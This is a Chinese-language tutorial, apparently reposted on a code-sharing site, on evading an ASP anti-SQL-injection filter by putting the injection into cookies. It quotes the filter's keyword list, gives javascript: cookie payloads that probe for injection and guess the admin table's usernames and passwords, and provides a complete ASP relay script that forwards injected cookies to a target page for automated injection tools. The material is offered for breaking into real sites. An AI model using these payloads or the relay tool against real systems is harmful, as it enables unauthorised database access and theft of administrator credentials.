手工、工具分別實現cookie注入


最開始的判斷access類型的網站注入點可以用“1 and 1=1”來判斷。

不過現在的網站基本上被擋住了。之后呢,可以考慮cookie注入。

Dim Tc_Post,Tc_Get,Tc_In,Tc_Inf,Tc_Xh
'定義需要過濾的字串
Tc_In="'|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master||or|char|declare"
Tc_Inf = split(Tc_In,"|")
'處理post數據
If Request.Form<>"" Then
For Each Tc_Post In Request.Form
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.Form(Tc_Post)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"
'處理get數據
If Request.QueryString<>"" Then
For Each Tc_Get In Request.QueryString
For Tc_Xh=0 To Ubound(Tc_Inf)
If Instr(LCase(Request.QueryString(Tc_Get)),Tc_Inf(Tc_Xh))<>0 Then
Response.Write "<Script Language=JavaScript>alert('請不要在參數中包含非法字符嘗試注入!');</Script>"
這 段代碼把SQL注入中要用到的關鍵字基本都過濾了,但是作者忽略了一個重要的參數獲取方式:cookie!程序只對get和post方式獲取的參數進行了 過濾,要是通過cookie提交注入語句一樣可以達到目的!因為防注代碼的過濾,不能直接用get或者post方式進行注入。那如何進行突破呢?在說明之 前,先了解下request獲取變量的方式:request.form獲取的是post數據,request.querystring獲取的get數 據,request.cookies獲取的是cookie中的數據。但是如果是<%id=request("id")%>呢?這個時候程序是 按以下順序來搜索集合:querystring,form,cookie,servervariable。當發現第一個匹配的變量的時候就認為是要訪問的 成員。從上面的分析我們可以得到什么呢?這里既然程序就沒有限制參數的來源,我們就不要去通過get的方式提交參數,而是在cookie里面加入參數id 的值,就可以饒過防注入代碼的檢測了!

1、判斷注入
javascript:alert(document.cookie="id="+escape("1 and 1=1"));
例:
http://xxxx/view.asp?id=1
先訪問http://xxxx/view.asp?id=1
接着在瀏覽器里輸入:
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
再訪問http://xxxx/view.asp(未出錯)
再輸入:javascript:alert(document.cookie="id="+escape("188 and 1=2"))
再訪問:http://xxxx/view.asp(出錯)

2、猜解表段、字段
javascript:alert(document.cookie="id="+escape("1 and 1=(select count(*) from admin where len(username)>0)"));
剩下的事情就是重復上面的步驟來得到管理員帳戶和密碼了。

-----以下是工具----------
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname   '存在注入的變量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")

'//以下三行需要修改,Cookies值可以用Domain3.5瀏覽下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的網址
jmref="http://zzz.com/index.asp" '來源地址
jmcok="ASPSESSI"

jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok     '提交cookie值
.send()     '發送數據
postdata=.responsebody       '得到返回的二進制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '轉換二進制流
end function

function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存為jmdcw.asp,最后可以本機裝個IIS或綠色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,從此HACKING的道路更寬廣了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM